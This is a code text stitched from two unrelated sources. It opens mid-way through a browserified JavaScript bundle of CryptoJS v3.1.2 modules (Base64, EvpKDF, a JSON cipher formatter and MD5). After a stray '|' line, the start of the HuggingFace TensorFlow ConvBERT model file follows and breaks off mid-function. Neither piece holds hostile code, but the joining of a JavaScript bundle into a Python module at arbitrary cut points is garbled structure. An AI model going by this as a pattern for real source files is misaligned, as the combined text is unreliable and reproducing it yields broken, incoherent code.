/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
(function () {
// Shortcuts
var C = CryptoJS;
var C_lib = C.lib;
var WordArray = C_lib.WordArray;
var C_enc = C.enc;
/**
* Base64 encoding strategy.
*/
var Base64 = C_enc.Base64 = {
/**
* Converts a word array to a Base64 string.
*
* @param {WordArray} wordArray The word array.
*
* @return {string} The Base64 string.
*
* @static
*
* @example
*
* var base64String = CryptoJS.enc.Base64.stringify(wordArray);
*/
stringify: function (wordArray) {
// Shortcuts
var words = wordArray.words;
var sigBytes = wordArray.sigBytes;
var map = this._map;
// Clamp excess bits
wordArray.clamp();
// Convert
var base64Chars = [];
for (var i = 0; i < sigBytes; i += 3) {
var byte1 = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff;
var byte2 = (words[(i + 1) >>> 2] >>> (24 - ((i + 1) % 4) * 8)) & 0xff;
var byte3 = (words[(i + 2) >>> 2] >>> (24 - ((i + 2) % 4) * 8)) & 0xff;
var triplet = (byte1 << 16) | (byte2 << 8) | byte3;
for (var j = 0; (j < 4) && (i + j * 0.75 < sigBytes); j++) {
base64Chars.push(map.charAt((triplet >>> (6 * (3 - j))) & 0x3f));
}
}
// Add padding
var paddingChar = map.charAt(64);
if (paddingChar) {
while (base64Chars.length % 4) {
base64Chars.push(paddingChar);
}
}
return base64Chars.join('');
},
/**
* Converts a Base64 string to a word array.
*
* @param {string} base64Str The Base64 string.
*
* @return {WordArray} The word array.
*
* @static
*
* @example
*
* var wordArray = CryptoJS.enc.Base64.parse(base64String);
*/
parse: function (base64Str) {
// Shortcuts
var base64StrLength = base64Str.length;
var map = this._map;
// Ignore padding
var paddingChar = map.charAt(64);
if (paddingChar) {
var paddingIndex = base64Str.indexOf(paddingChar);
if (paddingIndex != -1) {
base64StrLength = paddingIndex;
}
}
// Convert
var words = [];
var nBytes = 0;
for (var i = 0; i < base64StrLength; i++) {
if (i % 4) {
var bits1 = map.indexOf(base64Str.charAt(i - 1)) << ((i % 4) * 2);
var bits2 = map.indexOf(base64Str.charAt(i)) >>> (6 - (i % 4) * 2);
words[nBytes >>> 2] |= (bits1 | bits2) << (24 - (nBytes % 4) * 8);
nBytes++;
}
}
return WordArray.create(words, nBytes);
},
_map: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
};
}());
},{"./core":5}],7:[function(require,module,exports){
var CryptoJS = require('./core').CryptoJS;
/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
(function () {
// Shortcuts
var C = CryptoJS;
var C_lib = C.lib;
var Base = C_lib.Base;
var WordArray = C_lib.WordArray;
var C_algo = C.algo;
var MD5 = C_algo.MD5;
/**
* This key derivation function is meant to conform with EVP_BytesToKey.
* www.openssl.org/docs/crypto/EVP_BytesToKey.html
*/
var EvpKDF = C_algo.EvpKDF = Base.extend({
/**
* Configuration options.
*
* @property {number} keySize The key size in words to generate. Default: 4 (128 bits)
* @property {Hasher} hasher The hash algorithm to use. Default: MD5
* @property {number} iterations The number of iterations to perform. Default: 1
*/
cfg: Base.extend({
keySize: 128/32,
hasher: MD5,
iterations: 1
}),
/**
* Initializes a newly created key derivation function.
*
* @param {Object} cfg (Optional) The configuration options to use for the derivation.
*
* @example
*
* var kdf = CryptoJS.algo.EvpKDF.create();
* var kdf = CryptoJS.algo.EvpKDF.create({ keySize: 8 });
* var kdf = CryptoJS.algo.EvpKDF.create({ keySize: 8, iterations: 1000 });
*/
init: function (cfg) {
this.cfg = this.cfg.extend(cfg);
},
/**
* Derives a key from a password.
*
* @param {WordArray|string} password The password.
* @param {WordArray|string} salt A salt.
*
* @return {WordArray} The derived key.
*
* @example
*
* var key = kdf.compute(password, salt);
*/
compute: function (password, salt) {
// Shortcut
var cfg = this.cfg;
// Init hasher
var hasher = cfg.hasher.create();
// Initial values
var derivedKey = WordArray.create();
// Shortcuts
var derivedKeyWords = derivedKey.words;
var keySize = cfg.keySize;
var iterations = cfg.iterations;
// Generate key
while (derivedKeyWords.length < keySize) {
if (block) {
hasher.update(block);
}
var block = hasher.update(password).finalize(salt);
hasher.reset();
// Iterations
for (var i = 1; i < iterations; i++) {
block = hasher.finalize(block);
hasher.reset();
}
derivedKey.concat(block);
}
derivedKey.sigBytes = keySize * 4;
return derivedKey;
}
});
/**
* Derives a key from a password.
*
* @param {WordArray|string} password The password.
* @param {WordArray|string} salt A salt.
* @param {Object} cfg (Optional) The configuration options to use for this computation.
*
* @return {WordArray} The derived key.
*
* @static
*
* @example
*
* var key = CryptoJS.EvpKDF(password, salt);
* var key = CryptoJS.EvpKDF(password, salt, { keySize: 8 });
* var key = CryptoJS.EvpKDF(password, salt, { keySize: 8, iterations: 1000 });
*/
C.EvpKDF = function (password, salt, cfg) {
return EvpKDF.create(cfg).compute(password, salt);
};
}());
},{"./core":5}],8:[function(require,module,exports){
var CryptoJS = require('./core').CryptoJS;
// create custom json serialization format
var JsonFormatter = {
stringify: function (cipherParams) {
// create json object with ciphertext
var jsonObj = {
ct: cipherParams.ciphertext.toString(CryptoJS.enc.Base64)
};
// optionally add iv and salt
if (cipherParams.iv) {
jsonObj.iv = cipherParams.iv.toString();
}
if (cipherParams.salt) {
jsonObj.s = cipherParams.salt.toString();
}
// stringify json object
return JSON.stringify(jsonObj)
},
parse: function (jsonStr) {
// parse json string
var jsonObj = JSON.parse(jsonStr);
// extract ciphertext from json object, and create cipher params object
var cipherParams = CryptoJS.lib.CipherParams.create({
ciphertext: CryptoJS.enc.Base64.parse(jsonObj.ct)
});
// optionally extract iv and salt
if (jsonObj.iv) {
cipherParams.iv = CryptoJS.enc.Hex.parse(jsonObj.iv);
}
if (jsonObj.s) {
cipherParams.salt = CryptoJS.enc.Hex.parse(jsonObj.s);
}
return cipherParams;
}
};
exports.JsonFormatter = JsonFormatter;
},{"./core":5}],9:[function(require,module,exports){
var CryptoJS = require('./core').CryptoJS;
/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
(function (Math) {
// Shortcuts
var C = CryptoJS;
var C_lib = C.lib;
var WordArray = C_lib.WordArray;
var Hasher = C_lib.Hasher;
var C_algo = C.algo;
// Constants table
var T = [];
// Compute constants
(function () {
for (var i = 0; i < 64; i++) {
T[i] = (Math.abs(Math.sin(i + 1)) * 0x100000000) | 0;
}
}());
/**
* MD5 hash algorithm.
*/
var MD5 = C_algo.MD5 = Hasher.extend({
_doReset: function () {
this._hash = new WordArray.init([
0x67452301, 0xefcdab89,
0x98badcfe, 0x10325476
]);
},
_doProcessBlock: function (M, offset) {
// Swap endian
for (var i = 0; i < 16; i++) {
// Shortcuts
var offset_i = offset + i;
var M_offset_i = M[offset_i];
M[offset_i] = (
(((M_offset_i << 8) | (M_offset_i >>> 24)) & 0x00ff00ff) |
(((M_offset_i << 24) | (M_offset_i >>> 8)) & 0xff00ff00)
);
}
// Shortcuts
var H = this._hash.words;
var M_offset_0 = M[offset + 0];
var M_offset_1 = M[offset + 1];
var M_offset_2 = M[offset + 2];
var M_offset_3 = M[offset + 3];
var M_offset_4 = M[offset + 4];
var M_offset_5 = M[offset + 5];
var M_offset_6 = M[offset + 6];
var M_offset_7 = M[offset + 7];
var M_offset_8 = M[offset + 8];
var M_offset_9 = M[offset + 9];
var M_offset_10 = M[offset + 10];
var M_offset_11 = M[offset + 11];
var M_offset_12 = M[offset + 12];
var M_offset_13 = M[offset + 13];
var M_offset_14 = M[offset + 14];
var M_offset_15 = M[offset + 15];
// Working varialbes
var a = H[0];
var b = H[1];
var c = H[2];
var d = H[3];
// Computation
a = FF(a, b, c, d, M_offset_0, 7, T[0]);
d = FF(d, a, b, c, M_offset_1, 12, T[1]);
c = FF(c, d, a, b, M_offset_2, 17, T[2]);
b = FF(b, c, d, a, M_offset_3, 22, T[3]);
a = FF(a, b, c, d, M_offset_4, 7, T[4]);
d = FF(d, a, b, c, M_offset_5, 12, T[5]);
c = FF(c, d, a, b, M_offset_6, 17, T[6]);
b = FF(b, c, d, a, M_offset_7, 22, T[7]);
a = FF(a, b, c, d, M_offset_8, 7, T[8]);
d = FF(d, a, b, c, M_offset_9, 12, T[9]);
c = FF(c, d, a, b, M_offset_10, 17, T[10]);
b = FF(b, c, d, a, M_offset_11, 22, T[11]);
a = FF(a, b, c, d, M_offset_12, 7, T[12]);
d = FF(d, a, b, c, M_offset_13, 12, T[13]);
c = FF(c, d, a, b, M_offset_14, 17, T[14]);
b = FF(b, c, d, a, M_offset_15, 22, T[15]);
a = GG(a, b, c, d, M_offset_1, 5, T[16]);
d = GG(d, a, b, c, M_offset_6, 9, T[17]);
c = GG(c, d, a, b, M_offset_11, 14, T[18]);
b = GG(b, c, d, a, M_offset_0, 20, T[19]);
a = GG(a, b, c, d, M_offset_5, 5, T[20]);
d = GG(d, a, b, c, M_offset_10, 9, T[21]);
c = GG(c, d, a, b, M_offset_15, 14, T[22]);
b = GG(b, c, d, a, M_offset_4, 20, T[23]);
a = GG(a, b, c, d, M_offset_9, 5, T[24]);
d = GG(d, a, b, c, M_offset_14, 9, T[25]);
c = GG(c, d, a, b, M_offset_3, 14, T[26]);
b = GG(b, c, d, a, M_offset_8, 20, T[27]);
a = GG(a, b, c, d, M_offset_13, 5, T[28]);
d = GG(d, a, b, c, M_offset_2, 9, T[29]);
c = GG(c, d, a, b, M_offset_7, 14, T[30]);
b = GG(b, c, d, a, M_offset_12, 20, T[31]);
a = HH(a, b, c, d, M_offset_5, 4, T[32]);
d = HH(d, a, b, c, M_offset_8, 11, T[33]);
c = HH(c, d, a, b, M_offset_11, 16, T[34]);
b = HH(b, c, d, a, M_offset_14, 23, T[35]);
a = HH(a, b, c, d, M_offset_1, 4, T[36]);
d = HH(d, a, b, c, M_offset_4, 11, T[37]);
c = HH(c, d, a, b, M_offset_7, 16, T[38]);
b = HH(b, c, d, a, M_offset_10, 23, T[39]);
a = HH(a, b, c, d, M_offset_13, 4, T[40]);
d = HH(d, a, b, c, M_offset_0, 11, T[41]);
c = HH(c, d, a, b, M_offset_3, 16, T[42]);
b = HH(b, c, d, a, M_offset_6, 23, T[43]);
a = HH(a, b, c, d, M_offset_9, 4, T[44]);
d = HH(d, a, b, c, M_offset_12, 11, T[45]);
c = HH(c, d, a, b, M_offset_15, 16, T[46]);
b = HH(b, c, d, a, M_offset_2, 23, T[47]);
a = II(a, b, c, d, M_offset_0, 6, T[48]);
d = II(d, a, b, c, M_offset_7, 10, T[49]);
c = II(c, d, a, b, M_offset_14, 15, T[50]);
b = II(b, c, d, a, M_offset_5, 21, T[51]);
a = II(a, b, c, d, M_offset_12, 6, T[52]);
d = II(d, a, b, c, M_offset_3, 10, T[53]);
c = II(c, d, a, b, M_offset_10, 15, T[54]);
b = II(b, c, d, a, M_offset_1, 21, T[55]);
a = II(a, b, c, d, M_offset_8, 6, T[56]);
d = II(d, a, b, c, M_offset_15, 10, T[57]);
c = II(c, d, a, b, M_offset_6, 15, T[58]);
b = II(b, c, d, a, M_offset_13, 21, T[59]);
a = II(a, b, c, d, M_offset_4, 6, T[60]);
d = II(d, a, b, c, M_offset_11, 10, T[61]);
c = II(c, d, a, b, M_offset_2, 15, T[62]);
b = II(b, c, d, a, M_offset_9, 21, T[63]);
// Intermediate hash value
H[0] = (H[0] + a) | 0;
H[1] = (H[1] + b) | 0;
H[2] = (H[2] + c) | 0;
H[3] = (H[3] + d) | 0;
},
_doFinalize: function () {
// Shortcuts
var data = this._data;
var dataWords = data.words;
var nBitsTotal = this._nDataBytes * 8;
var nBitsLeft = data.sigBytes * 8;
// Add padding
dataWords[nBitsLeft >>> 5] |= 0x80 << (24 - nBitsLeft % 32);
var nBitsTotalH = Math.floor(nBitsTotal / 0x100000000);
var nBitsTotalL = nBitsTotal;
dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 15] = (
(((nBitsTotalH << 8) | (nBitsTotalH >>> 24)) & 0x00ff00ff) |
(((nBitsTotalH << 24) | (nBitsTotalH >>> 8)) & 0xff00ff00)
);
dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 14] = (
(((nBitsTotalL << 8) | (nBitsTotalL >>> 24)) & 0x00ff00ff) |
(((nBitsTotalL << 24) | (nBitsTotalL >>> 8)) & 0xff00ff00)
);
data.sigBytes = (dataWords.length + 1) * 4;
// Hash final blocks
this._process();
// Shortcuts
var hash = this._hash;
var H = hash.words;
// Swap endian
for (var i = 0; i < 4; i++) {
// Shortcut
var H_i = H[i];
H[i] = (((H_i << 8) | (H_i >>> 24)) & 0x00ff00ff) |
(((H_i << 24) | (H_i >>> 8)) & 0xff00ff00);
}
// Return final computed hash
return hash;
},
clone: function () {
var clone = Hasher.clone.call(this);
clone._hash = this._hash.clone();
return clone;
}
});
function FF(a, b, c, d, x, s, t) {
var n = a + ((b & c) | (~b & d)) + x + t;
return ((n << s) | (n >>> (32 - s))) + b;
}
function GG(a, b, c, d, x, s, t) {
var n = a + ((b & d) | (c & ~d)) + x + t;
return ((n << s) | (n >>> (32 - s))) + b;
}
function HH(a, b, c, d, x, s, t) {
var n = a + (b ^ c ^ d) + x + t;
return ((n << s) | (n >>> (32 - s))) + b;
}
function II(a, b, c, d, x, s, t) {
var n = a + (c ^ (b | ~d)) + x + t;
return ((n << s) | (n >>> (32 - s))) + b;
}
/**
* Shortcut function to the hasher's object interface.
*
* @param {WordArray|string} message The message to hash.
*
* @return {WordArray} The hash.
*
* @static
*
* @example
*
* var hash = CryptoJS.MD5('message');
* var hash = CryptoJS.MD5(wordArray);
*/
C.MD5 = Hasher._createHelper(MD5);
/**
* Shortcut function to the HMAC's object interface.
*
* @param {WordArray|string} message The message to hash.
* @param {WordArray|string} key The secret key.
*
* @return {WordArray} The HMAC.
*
* @static
*
* @example
*
* var hmac = CryptoJS.HmacMD5(message, key);
*/
C.HmacMD5 = Hasher._createHmacHelper(MD5);
}(Math));
},{"./core":5}]},{},[1]);
|
# coding=utf-8
# Copyright 2021 The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" TF 2.0 ConvBERT model. """
import tensorflow as tf
from ...activations_tf import get_tf_activation
from ...file_utils import (
MULTIPLE_CHOICE_DUMMY_INPUTS,
add_code_sample_docstrings,
add_start_docstrings,
add_start_docstrings_to_model_forward,
)
from ...modeling_tf_outputs import (
TFBaseModelOutput,
TFMaskedLMOutput,
TFMultipleChoiceModelOutput,
TFQuestionAnsweringModelOutput,
TFSequenceClassifierOutput,
TFTokenClassifierOutput,
)
from ...modeling_tf_utils import (
TFMaskedLanguageModelingLoss,
TFMultipleChoiceLoss,
TFPreTrainedModel,
TFQuestionAnsweringLoss,
TFSequenceClassificationLoss,
TFSequenceSummary,
TFTokenClassificationLoss,
get_initializer,
input_processing,
keras_serializable,
shape_list,
)
from ...utils import logging
from .configuration_convbert import ConvBertConfig
logger = logging.get_logger(__name__)
_CHECKPOINT_FOR_DOC = "YituTech/conv-bert-base"
_CONFIG_FOR_DOC = "ConvBertConfig"
_TOKENIZER_FOR_DOC = "ConvBertTokenizer"
TF_CONVBERT_PRETRAINED_MODEL_ARCHIVE_LIST = [
"YituTech/conv-bert-base",
"YituTech/conv-bert-medium-small",
"YituTech/conv-bert-small",
# See all ConvBERT models at https://huggingface.co/models?filter=convbert
]
# Copied from transformers.models.albert.modeling_tf_albert.TFAlbertEmbeddings with Albert->ConvBert
class TFConvBertEmbeddings(tf.keras.layers.Layer):
"""Construct the embeddings from word, position and token_type embeddings."""
def __init__(self, config: ConvBertConfig, **kwargs):
super().__init__(**kwargs)
self.vocab_size = config.vocab_size
self.type_vocab_size = config.type_vocab_size
self.embedding_size = config.embedding_size
self.max_position_embeddings = config.max_position_embeddings
self.initializer_range = config.initializer_range
self.LayerNorm = tf.keras.layers.LayerNormalization(epsilon=config.layer_norm_eps, name="LayerNorm")
self.dropout = tf.keras.layers.Dropout(rate=config.hidden_dropout_prob)
def build(self, input_shape: tf.TensorShape):
with tf.name_scope("word_embeddings"):
self.weight = self.add_weight(
name="weight",
shape=[self.vocab_size, self.embedding_size],
initializer=get_initializer(self.initializer_range),
)
with tf.name_scope("token_type_embeddings"):
self.token_type_embeddings = self.add_weight(
name="embeddings",
shape=[self.type_vocab_size, self.embedding_size],
initializer=get_initializer(self.initializer_range),
)
with tf.name_scope("position_embeddings"):
self.position_embeddings = self.add_weight(
name="embeddings",
shape=[self.max_position_embeddings, self.embedding_size],
initializer=get_initializer(self.initializer_range),
)
super().build(input_shape)
# Copied from transformers.models.bert.modeling_tf_bert.TFBertEmbeddings.call
def call(
self,
input_ids: tf.Tensor = None,
position_ids: tf.Tensor = None,
token_type_ids: tf.Tensor = None,
inputs_embeds: tf.Tensor = None,
past_key_values_length=0,
training: bool = False,
) -> tf.Tensor:
"""
Applies embedding based on inputs tensor.
Returns:
final_embeddings (`tf.Tensor`): output embedding tensor.
"""
if input_ids is None and inputs_embeds is None:
raise ValueError("Need to provide either `input_ids` or `input_embeds`.")
if input_ids is not None:
inputs_embeds = tf.gather(params=self.weight, indices=input_ids)
input_shape = shape_list(inputs_embeds)[:-1]
if token_type_ids is None:
token_type_ids = tf.fill(dims=input_shape, value=0)
if position_ids is None:
position_ids = tf.expand_dims(
tf.range(start=past_key_values_length, limit=input_shape[1] + past_key_values_length), axis=0
)
position_embeds = tf.gather(params=self.position_embeddings, indices=position_ids)
token_type_embeds = tf.gather(params=self.token_type_embeddings, indices=token_type_ids)
final_embeddings = inputs_embeds + position_embeds + token_type_embeds
final_embeddings = self.LayerNorm(inputs=final_embeddings)
final_embeddings = self.dropout(inputs=final_embeddings, training=training)
return final_embeddings
class TFConvBertSelfAttention(tf.keras.layers.Layer):
def __init__(self, config, **kwargs):
super().__init__(**kwargs)
if config.hidden_size % config.num_attention_heads != 0:
raise ValueError(
f"The hidden size ({config.hidden_size}) is not a multiple of the number of attention "
f"heads ({config.num_attention_heads})"
)
new_num_attention_heads = int(config.num_attention_heads / config.head_ratio)
if new_num_attention_heads < 1:
self.head_ratio = config.num_attention_heads
num_attention_heads = 1
else:
num_attention_heads = new_num_attention_heads
self.head_ratio = config.head_ratio
self.num_attention_heads = num_attention_heads
self.conv_kernel_size = config.conv_kernel_size
assert (
config.hidden_size % self.num_attention_heads == 0
), "hidden_size should be divisible by num_attention_heads"
self.attention_head_size = config.hidden_size // config.num_attention_heads
self.all_head_size = self.num_attention_heads * self.attention_head_size
self.query = tf.keras.layers.Dense(
self.all_head_size, kernel_initializer=get_initializer(config.initializer_range), name="query"
)
self.key = tf.keras.layers.Dense(
self.all_head_size, kernel_initializer=get_initializer(config.initializer_range), name="key"
)
self.value = tf.keras.layers.Dense(
self.all_head_size, kernel_initializer=get_initializer(config.initializer_range), name="value"
)
self.key_conv_attn_layer = tf.keras.layers.SeparableConv1D(
self.all_head_size,
self.conv_kernel_size,
padding="same",
activation=None,
depthwise_initializer=get_initializer(1 / self.conv_kernel_size),
pointwise_initializer=get_initializer(config.initializer_range),
name="key_conv_attn_layer",
)
self.conv_kernel_layer = tf.keras.layers.Dense(
self.num_attention_heads * self.conv_kernel_size,
activation=None,
name="conv_kernel_layer",
kernel_initializer=get_initializer(config.initializer_range),
)
self.conv_out_layer = tf.keras.layers.Dense(
self.all_head_size,
activation=None,
name="conv_out_layer",
kernel_initializer=get_initializer(config.initializer_range),
)
self.dropout = tf.keras.layers.Dropout(config.attention_probs_dropout_prob)
def transpose_for_scores(self, x, batch_size):
# Reshape from [batch_size, seq_length, all_head_size] to [batch_size, seq_length, num_attention_heads, attention_head_size]
x = tf.reshape(x, (batch_size, -1, self.num_attention_heads, self.attention_head_size))
return tf.transpose(x, perm=[0, 2, 1, 3])
def call(self, hidden_states, attention_mask, head_mask, output_attentions, training=False):
batch_size = shape_list(hidden_states)[0]
mixed_query_layer = self.query(hidden_states)
mixed_key_layer = self.key(hidden_states)
mixed_value_layer = self.value(hidden_states)
mixed_key_conv_attn_layer = self.key_conv_attn_layer(hidden_states)
query_layer = self.transpose_for_scores(mixed_query_layer, batch_size)
key_layer = self.transpose_for_scores(mixed_key_layer, batch_size)
conv_attn_layer = tf.multiply(mixed_key_conv_attn_layer, mixed_query_layer)
conv_kernel_layer = self.conv_kernel_layer(conv_attn_layer)
conv_kernel_layer = tf.reshape(conv_kernel_layer, [-1, self.conv_kernel_size, 1])
conv_kernel_layer = tf.nn.softmax(conv_kernel_layer, axis=1)
paddings = tf.constant(
[
[
0,
0,
],
[int((self.conv_kernel_size - 1) / 2), int((self.conv_kernel_size - 1) / 2)],
[0, 0],
]
)
conv_out_layer = self.conv_out_layer(hidden_states)
conv_out_layer = tf.reshape(conv_out_layer, [batch_size, -1, self.all_head_size])
conv_out_layer = tf.pad(conv_out_layer, paddings, "CONSTANT")
unfold_conv_out_layer = tf.stack(
[
tf.slice(conv_out_layer, [0, i, 0], [batch_size, shape_list(mixed_query_layer)[1], self.all_head_size])
for i in range(self.conv_kernel_size)
],
axis=-1,
)
conv_out_layer = tf.reshape(unfold_conv_out_layer, [-1, self.attention_head_size, self.conv_kernel_size])
conv_out_layer = tf.matmul(conv_out_layer, conv_kernel_layer)
conv_out_layer = tf.reshape(conv_out_layer, [-1, self.all_head_size])
# Take the dot product between "query" and "key" to get the raw attention scores.
attention_scores = tf.matmul(
query_layer, key_layer, transpose_b=True
) # (batch size, num_heads, seq_len_q, seq_len_k)
dk = tf.cast(shape_list(key_layer)[-1], attention_scores.dtype) # scale attention_scores
attention_scores = attention_scores / tf.math.sqrt(dk)
if attention_mask is not None:
# Apply the attention mask is (precomputed for all layers in TFBertModel call() function)
attention_scores = attention_scores + attention_mask
# Normalize the attention scores to probabilities.
attention_probs = tf.nn.softmax(attention_scores, axis=-1)
# This is actually dropping out entire tokens to attend to, which might
# seem a bit unusual, but is taken from the original Transformer paper.
attention_probs = self.dropout(attention_probs, training=training)
# Mask heads if we want to
if head_mask is not None:
attention_probs = attention_probs * head_mask
value_layer = tf.reshape(
mixed_value_layer, [batch_size, -1, self.num_attention_heads, self.attention_head_size]
)
value_layer = tf.transpose(value_layer, [0, 2, 1, 3])
context_layer = tf.matmul(attention_probs, value_layer)
context_layer = tf.transpose(context_layer, perm=[0, 2, 1, 3])
conv_out = tf.reshape(conv_out_layer, [batch_size, -1, self.num_attention_heads, self.attention_head_size])
context_layer = tf.concat([context_layer, conv_out], 2)
context_layer = tf.reshape(
context_layer, (batch_size, -1, self.head_ratio * self.all_head_size)
) # (batch_size, seq_len_q, all_head_size)
outputs = (context_layer, attention_probs) if output_attentions else (context_layer,)
return outputs
class TFConvBertSelfOutput(tf.keras.layers.Layer):
def __init__(self, config, **kwargs):
super().__init__(**kwargs)
self.dense = tf.keras.layers.Dense(
config.hidden_size, kernel_initializer=get_initializer(config.initializer_range), name="dense"
)
self.LayerNorm = tf.keras.layers.LayerNormalization(epsilon=config.layer_norm_eps, name="LayerNorm")
self.dropout = tf.keras.layers.Dropout(config.hidden_dropout_prob)
def call(self, hidden_states, input_tensor, training=False):
hidden_states = self.dense(hidden_states)
hidden_states = self.dropout(hidden_states, training=training)
hidden_states = self.LayerNorm(hidden_states + input_tensor)
return hidden_states
class TFConvBertAttention(tf.keras.layers.Layer):
def __init__(self, config, **kwargs):
super().__init__(**kwargs)
self.self_attention = TFConvBertSelfAttention(config, name="self")
self.dense_output = TFConvBertSelfOutput(config, name="output")
def prune_heads(self, heads):
raise NotImplementedError
def call(self, input_tensor, attention_mask, head_mask, output_attentions, training=False):
self_outputs = self.self_attention(
input_tensor, attention_mask, head_mask, output_attentions, training=training
)
attention_output = self.dense_output(self_outputs[0], input_tensor, training=training)
outputs = (attention_output,) + self_outputs[1:] # add attentions if we output them
return outputs
class GroupedLinearLayer(tf.keras.layers.Layer):
def __init__(self, input_size, output_size, num_groups, kernel_initializer, **kwargs):
super().__init__(**kwargs)
self.input_size = input_size
self.output_size = output_size
self.num_groups = num_groups
self.kernel_initializer = kernel_initializer
self.group_in_dim = self.input_size // self.num_groups
self.group_out_dim = self.output_size // self.num_groups
def build(self, input_shape):
self.kernel = self.add_weight(
"kernel",
shape=[self.group_out_dim, self.group_in_dim, self.num_groups],
initializer=self.kernel_initializer,
trainable=True,
)
self.bias = self.add_weight(
"bias", shape=[self.output_size], initializer=self.kernel_initializer, dtype=self.dtype, trainable=True
)
def call(self, hidden_states):
batch_size = shape_list(hidden_states)[0]
x = tf.transpose(tf.reshape(hidden_states, [-1, self.num_groups, self.group_in_dim]), [1, 0, 2])
x = tf.matmul(x, tf.transpose(self.kernel, [2, 1, 0]))
x = tf.transpose(x, [1, 0, 2])
x = tf.reshape(x, [batch_size, -1, self.output_size])
x = tf.nn.bias_add(value=x, bias=self.bias)
return x
class TFConvBertIntermediate(tf.keras.layers.Layer):
def __init__(self, config, **kwargs):
super().__init__(**kwargs)
if config.num_groups == 1:
self.dense = tf.keras.layers.Dense(
config.intermediate_size, kernel_initializer=get_initializer(config.initializer_range), name="dense"
)
else:
self.dense = GroupedLinearLayer(
config.hidden_size,
config.intermediate_size,
num_groups=config.num_groups,
kernel_initializer=get_initializer(config.initializer_range),
name="dense",
)
if isinstance(config.hidden_act, str):
self.intermediate_act_fn = get_tf_activation(config.hidden_act)
else:
self.intermediate_act_fn = config.hidden_act
def call(self, hidden_states):
hidden_states = self.dense(hidden_states)
hidden_states = self.intermediate_act_fn(hidden_states)
return hidden_states
class TFConvBertOutput(tf.keras.layers.Layer):
def __init__(self, config, **kwargs):
super().__init__(**kwargs)
if config.num_groups == 1:
self.dense = tf.keras.layers.Dense(
config.hidden_size, kernel_initializer=get_initializer(config.initializer_range), name="dense"
)
else:
self.dense = GroupedLinearLayer(
config.intermediate_size,
config.hidden_size,
num_groups=config.num_groups,
kernel_initializer=get_initializer(config.initializer_range),
name="dense",
)
self.LayerNorm = tf.keras.layers.LayerNormalization(epsilon=config.layer_norm_eps, name="LayerNorm")
self.dropout = tf.keras.layers.Dropout(config.hidden_dropout_prob)
def call(self, hidden_states, input_tensor, training=False):
hidden_states = self.dense(hidden_states)
hidden_states = self.dropout(hidden_states, training=training)
hidden_states = self.LayerNorm(hidden_states + input_tensor)
return hidden_states
class TFConvBertLayer(tf.keras.layers.Layer):
def __init__(self, config, **kwargs):
super().__init__(**kwargs)
self.attention = TFConvBertAttention(config, name="attention")
self.intermediate = TFConvBertIntermediate(config, name="intermediate")
self.bert_output = TFConvBertOutput(config, name="output")
def call(self, hidden_states, attention_mask, head_mask, output_attentions, training=False):
attention_outputs = self.attention(
hidden_states, attention_mask, head_mask, output_attentions, training=training
)
attention_output = attention_outputs[0]
intermediate_output = self.intermediate(attention_output)
layer_output = self.bert_output(intermediate_output, attention_output, training=training)
outputs = (layer_output,) + attention_outputs[1:] # add attentions if we output them
return outputs
class TFConvBertEncoder(tf.keras.layers.Layer):
def __init__(self, config, **kwargs):
super().__init__(**kwargs)
self.layer = [TFConvBertLayer(config, name=f"layer_._{i}") for i in range(config.num_hidden_layers)]
def call(
self,
hidden_states,
attention_mask,
head_mask,
output_attentions,
output_hidden_states,
return_dict,
training=False,
):
all_hidden_states = () if output_hidden_states else None
all_attentions = () if output_attentions else None
for i, layer_module in enumerate(self.layer):
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
layer_outputs = layer_module(
hidden_states, attention_mask, head_mask[i], output_attentions, training=training
)
hidden_states = layer_outputs[0]
if output_attentions:
all_attentions = all_attentions + (layer_outputs[1],)
# Add last layer
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
if not return_dict:
return tuple(v for v in [hidden_states, all_hidden_states, all_attentions] if v is not None)
return TFBaseModelOutput(
last_hidden_state=hidden_states, hidden_states=all_hidden_states, attentions=all_attentions
)
class TFConvBertPredictionHeadTransform(tf.keras.layers.Layer):
def __init__(self, config, **kwargs):
super().__init__(**kwargs)
self.dense = tf.keras.layers.Dense(
config.embedding_size, kernel_initializer=get_initializer(config.initializer_range), name="dense"
)
if isinstance(config.hidden_act, str):
self.transform_act_fn = get_tf_activation(config.hidden_act)
else:
self.transform_act_fn = config.hidden_act
self.LayerNorm = tf.keras.layers.LayerNormalization(epsilon=config.layer_norm_eps, name="LayerNorm")
def call(self, hidden_states):
hidden_states = self.dense(hidden_states)
hidden_states = self.transform_act_fn(hidden_states)
hidden_states = self.LayerNorm(hidden_states)
return hidden_states
@keras_serializable
class TFConvBertMainLayer(tf.keras.layers.Layer):
config_class = ConvBertConfig
def __init__(self, config, **kwargs):
super().__init__(**kwargs)
self.embeddings = TFConvBertEmbeddings(config, name="embeddings")
if config.embedding_size != config.hidden_size:
self.embeddings_project = tf.keras.layers.Dense(config.hidden_size, name="embeddings_project")
self.encoder = TFConvBertEncoder(config, name="encoder")
self.config = config
def get_input_embeddings(self):
return self.embeddings
def set_input_embeddings(self, value):
self.embeddings.weight = value
self.embeddings.vocab_size = value.shape[0]
def _prune_heads(self, heads_to_prune):
"""
Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base
class PreTrainedModel
"""
raise NotImplementedError
def get_extended_attention_mask(self, attention_mask, input_shape, dtype):
if attention_mask is None:
attention_mask = tf.fill(input_shape, 1)
